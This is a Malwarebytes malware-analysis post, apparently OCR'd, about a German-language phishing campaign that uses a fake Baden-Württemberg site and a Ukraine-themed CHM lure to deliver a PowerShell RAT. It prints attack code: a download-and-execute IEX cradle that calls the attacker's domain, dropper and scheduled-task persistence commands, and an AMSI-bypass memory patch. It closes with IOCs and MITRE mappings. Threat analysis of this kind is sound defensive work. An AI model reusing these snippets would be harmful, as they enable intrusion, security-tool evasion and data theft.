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Populations around the world—and in Europe in particular—are following the crisis in
Ukraine very closely, and with events unfolding on a daily basis, people are hungry for
information.

Although all countries have reasons to be concerned, the situation is Germany is more
complicated than most. It is one of the few European countries to have received criticism for
its attitude to the Ukraine-Russia conflict, as it struggles to end its reliance on Russian
energy, and Moscow recently imposed sanctions on Gazprom Germania, further increasing
economic tensions.

This week our analysts discovered a new campaign that plays on these concerns by trying to
lure Germans with a promise of updates on the current threat situation in Ukraine. The
downloaded document is in fact decoy for a Remote Access Trojan (RAT) capable of stealing
data and executing other malicious commands on a victim’s computer.

Decoy site lures victims with Ukraine situation
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Threat actors registered an expired German domain name at collaboration-bw[.]de that was
formally used as a collaboration platform to develop new ideas for the Baden-Wurttemberg
state.
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Threat actors registered an expired domain associated with Baden-Wurttemberg
The threat actors used the domain to host a website that looked like the official Baden-
Wirttemberg website, baden-wuerttemberg.de.
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A comparison of the real baden-wuerttemberg.de (top) and the malicious fake (bottom)

With this copycat, the attackers created the perfect placeholder for the lure they wanted their
victims to download: A file tantalising called 2022-Q2-Bedrohungslage-Ukraine (threat
situation in Ukraine for Q2), offered via a prominent blue download button.

2/9


https://blog.malwarebytes.com/wp-content/uploads/2022/05/old_site.png
https://blog.malwarebytes.com/wp-content/uploads/2022/05/compare.png

a8 Aktuelle Bedrohungslage zur Uk X +

& C & collaboration-bw.de/bedrohung-ukr-downloadhtml B = +% O &

UKRAIME-KRISE d Text vorlesen 26.04.2022

Wichtig, aktuelle
Bedrohungslage zur Ukraine-
Krise

Auf dieser Webseite finden Sie stets die wichtigsten Informationen und
Hinweise im Umgang mit der aktuellen Bedrohungslage durch die Ukraine-
Krise. Bitte laden Sie sich jetzt das Dokument herunter und lesen Sie die
aktuellen Informationen durch. Das Dokument wird stets aktualisiert und ist
auf dem neuesten Stand. Unsere vorgeschlagenen Tipps sind im
Arbeitsalltag praktisch umsetzbar und sollten Sie bereits heute umsetzen.

Vielen Dank fur Ihre Unterstiitzung.

Zum Download

B 2000-Q2-Bedrohun..zip A Showall /| %

The website promises important information and tips about the Ukraine crisis
An English translation of the page reads:

Important, current threat situation regarding the Ukraine crisis

On this website you will always find the most important information and tips for
dealing with the current threat posed by the Ukraine crisis. Please download the
document now and read through the current information. The document is constantly
updated and is up to date. Our suggested tips can be practically implemented in
everyday work and you should already implement them today. Thanks for your support.

File analysis
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The archive file called 2022-Q2-Bedrohungslage-Ukraine contains a file named 2022-
Q2-Bedrohungslage-Ukraine.chm . The CHM format is Microsoft's HTML help file format,
which consists of a number of compiled HTML files.
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CHM file displays a fake error message
Victims will get a fake error message when they open up that file, while PowerShell quietly

runs a Base64 command.

1. 4.A=
PowerShell executes a Base64-encoded command
After de-obfuscating the command we can see it is designed to execute a script downloaded
from the fake Baden-Wurttemberg website, using Invoke-Expression (IEX).
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:DefaultWebProxy
$y=8x:GetSystemWebProxy() The
$y.Credentials=[Net.CredentialCache|:DefaultNetworkCredentials

EX(New-0Object Net WebClient).DownloadString(https://collaboration-bw.de/c. html’)

PowerShell code fetches and executes a malicious script
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SconfigDir = $env-USERPROFILE + "\SecuriyHealthService" New-Item -TtemType Directory -Force -Path
SconfigDir $outFile = $configDir + "\Status txt" $runFile = $configDir + "MonitorHealth.cmd” $strB64 =
"ZnVuY3Rpb24eSW2bHILVAIY dnsKICAgIHBhemFtCiAglCAoCIAgICAGICAgWINIecmluZ10kaX AsCiAgICA
[System. Text. Encoding]:: ASCIL GetString([System. Convert]: :FromBase64 String(SstrB64))|Out-File -Encoding
ASCII SoutFile Sstr2B64 =

"QGV1aG8gb2 ZmCmZvet AvRIAIdGOrZ W 5zPSog VVNFQLEFD S 1 EAICULZ BITiAo Y HR he2tsa XNOICO9maS Aid 2 luZ(
[System Text Encoding] - ASCII GetString([ Svstem Convert]: FromBase64 String(Sstr2B64)) Out-File -Encoding
ASCII SrunFile Sstr? = "type " + SoutFile + " | powershell -WindowStyle Hidden -exec bypass )" $str2|Out-File -
Encoding ASCII -Append $runFile emd /c "schtasks /create /f /tn HealthStatus /sc daily /st 10:00 /tr SrunFile” cmd /c
"attrib +h $configDir”

$x=[NetWebRequest];
$y=FxDefaultWebProxy;
Py=8x:GetSystemWebProxy();

$y.Credentials=[Net.CredentialCache]:DefaultNetworkCredentials;

IEX(New-Object NetWebClient).DownloadString('https://collaboration-bw.de/c.html’);

The malicious script downloaded from the fake Baden-Wirttemberg website

The downloaded script creates a folder called SecuriyHealthService in the current user
directory and drops two files into it: MonitorHealth.cmd and a script called Status.txt .
The .cmd file is very simple and just executes Status.txt through PowerShell.

Finally, the downloaded script makes MonitorHealth.cmd persistent by creating a
scheduled task that will execute it each day at a specific time.

PowerShell RAT (Status.txt)

Status.txt is a RAT written in PowerShell (This Rat is a modified version of an HTTP
Reverse Shell that is available on Github). It starts its activities by collecting some
information about the victim’s computer, such as the current username and working directory,
and the computer’s hostname. It also builds a unique id for the victim, the clientid .

This data is exfiltrated as a JSON data structure sent to the server via a POST request:

$json = '{
"type": "newclient",
"I'ESUlt": n ||,
Ilpwd n : mnmi + $de_b64 + rn ,
"cuser": "' + $cuser + '",
"hostname": "' + $hname + '",
"clientid": "' + $clientid + '"
J A

$headers = @{'X-Request-ID' = $strhash;}

5/9


https://blog.malwarebytes.com/wp-content/uploads/2022/05/powershell.png
https://github.com/3v4Si0N/HTTP-revshell

However, before executing this requests the script will first bypass the Windows Antimalware
Scan Interface (AMSI) using an AES-encrypted function called bypass . It is decrypted
using a generated key and |V before execution.

function Bypass

[byte[]] $AesSalt = 6(1,2, 0,45, 7,5, ,11,254,253,252)
SAesPassword = il ! I 16234 43085"
$AesPassword = [system.text.encoding) : :ASCIT.GetBytes (§AesPassword)
[byte[]]$DecryptedContent = $Null

$RawContent =
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QIpOgh) 0 2 It 7 r2H1Du 0 ynYxKSE W3t 30 Ny r WhEu 3 ! ! Wh1Lxbegt y y n2
y x4 x it 1 y . X
2 ! 2 l %3 !
I y MXaJ X i
2bY x 24IxKx I ! I 2
y 2 x y I ) 2 X 2 2 XXuh2,
; y b y ; ! y hhrX g
! !
= [Convert]::F ring
[byte[]]$DecryptedBytes = () ;
[System. 10.MemoryStrean] $MemoryStream = New-Object System.IO.MemoryStream
[System.Security.Cryptography.RijndaclManaged] $Aesobject = New-Object System.Security.Cryptography.RijndaclManaged
$AesObject.KeySize =
$ResObject.Blocksize =
[System. Security Cryptography.REc2898DeriveBytes] $Key = New-Object System.Security.Cryptography.Rfc2898DeriveBytes ($AesPassword, $AesSalt, )i

$AesObject.Key = $Key.GetBytes ($hesObject.KeySize / 1) ;
$AesObject.IV = $Key.GetBytes (SAesObject.Blocksize / 1) ;

$AesObject.Mode = [System.Security.Cryptography.CipherMode] ::CBC

$CryptoStream = New-Object System.Security.Cryptography.CryptoStrean($MemoryStrean, $AesObject.CreateDecryptor(), [System.Security.Cryptography.CryptoStreaniode] ::irite)

Write( . Length)
$CryptoStream. Close ()

$DecryptedBytes = $MemoryStream.ToArray () ;
$Data = [System.Text.Encoding] ::UTF8.GetString ($DecryptedBytes)

$Bypass = [System.Text.Encoding] : :UTF8.GetString ([System.Convert]: :FromBase64String ($Data))
tartarcules-nam-repact $Bypass

The bypass function that contains the encrypted script to bypass AMSI.
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$nonz = "0x00"
$hufsdf = @'
using System;
using System.Runtime.InteropServices;
public class hufsdf {
[Dllmport(‘kernel32)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procMame);
[Dllmport(‘kermel327)]
public static extern IntPtr LoadLibrary(string name});
[Dllmport(‘kernel32%)]
public static extern bool VirtualProtect(IntPtr IpAddress, UlntPtr ellead, uint fiINewProtect, out uint IpflOldProtect);
¥
‘@
$xsa = "OxB8"
Add-Type $hufsdf
$ian = "Ox07"
$ghudlfx = [hufsdf]:LoadLibrary("$([chAR](97*89/89)+[ChAR]{(109*89/89)+[ChaR](N5*10/10)+[chAr]([BYTe]Ox69)+[cHaR]
(46%29/29)+[Char|(55+45)+[CHAr](108*16/168)+[CHAR]([BYte]Ox6c))")
$ygm = "OxC3"
$asdjpa =
[SystemText.Encoding|:UTFB.GetString([System.Convert):FromBaseb45tring("W2h1ZnNkZI06OkdldFByb2NBZGRyZXNzKC
RnaHVkbGZALCAIJCgoJBOBbXPDrCerJINjweFuldysnOQnVmZicrJ 2Vy JykubmOy TWFsSVpFKFt SGFSXShbQnlORVOweDQ2KS
tbY2hBUIOoMTExKjQ5LzQ5KStb Q2hhUI0oMTEOKzZYxLTYxKStbQOhhUIOo WO JZWVGYdMHg2ZCkrWONoY X JdKDYAKzIOLTIOK
SkeglLXJcGxhY2Ug\WONoQXJdKDkyKjY1LzYIKStbQOhhUIOoW2J5VGEVdMHg 3MCkrWONIQVJdKFtCWWVRIXKTBAN2pKItDaGFy
XSg3NyszMyOzMykrW2NIYXJdKDExMCkrW2NIQXJdKFtieXRFXTBAN2QpKSIpT))
$ihohaeoh = iex($asdjpa)
$xwe = "Ox80"
$p=0
[hufsdf]:VirtualProtect($ihohaeoh, [uint32]5, 0x40, [ref]$p) | Qut-Null
$awpt = "Ox57"
$afril = [Byte[]] ($xsa$awpt, $nonz $ian, +$xwe,+Eygm)
[System Runtime.InteropServices Marshal]:Copy($afril, O, $ihohaech, 6)
The content of the AMSI bypass script after decryption
This RAT has the following capabilities:

e Download (type: DOWNIO4D): Download files from server

o Upload (type: UPL04D): Upload file to the server

o LoadPS1 (type: LO4DPS1): Load and execute a PowerShell script
e Command (type: COMM4ND): Execute a specific command

German command and control server

The attack was thoughtfully carried out—even ensuring that the stolen data was sent to a
German domain name, kleinm[.]de, to avoid suspicion.
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It is not easy to attribute this activity to a specific actor, and there are no solid indicators to

support attribution. Based on motivation alone, we hypothesise that a Russian threat actor
could be targeting German users, but without clear connections in infrastructure or
similarities to known TTPs, such attribution is weak.

The Malwarebytes Threat Intelligence team continues to monitor attacks taking_advantage of
the war in Ukraine while ensuring our customers are protected.
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Indicators of Compromise (IOCs)

Phishing site

collaboration-bw][.]Jde/bedrohung-ukr.html

Lure

2022-Q2-Bedrohungslage-Ukraine.zip
2430f68285120686233569e51e2147914dc87f82c7dbdf07feOc34dbb1aca77c
2022-Q2-Bedrohungslage-Ukraine.chm
80bad7e0d5a5d2782674bb8334dcca03534aa831c37aebb5962da1cd1bec4 130

Status.txt

abd8beaa832832576ca97809be4eee9441eb6907752a7e1f9a390b29bbb9fe1f

MonitorHealth.cmd

fc71522a4125ca4bdc5e5deca4a6498e7f2da4408614c2e1284c3ae8c083abfd

C2

kleinm[.]de

MITRE ATT&CK

Tactic ID

Execution T1059

Name

Command and Scripting
Interpreter

Description

Starts cmnd.exe to run hh.exe

Executes PowerShell script to
download and execute a script

Persistence T1053

Scheduled Task/Job

Executes task scheduler to add
MonitorHealth.cmd as a daily task

Defense T1222
evasion

File and Directory
Permissions Modification

Uses attrib.exe to hide
SecuriyHealthService folder
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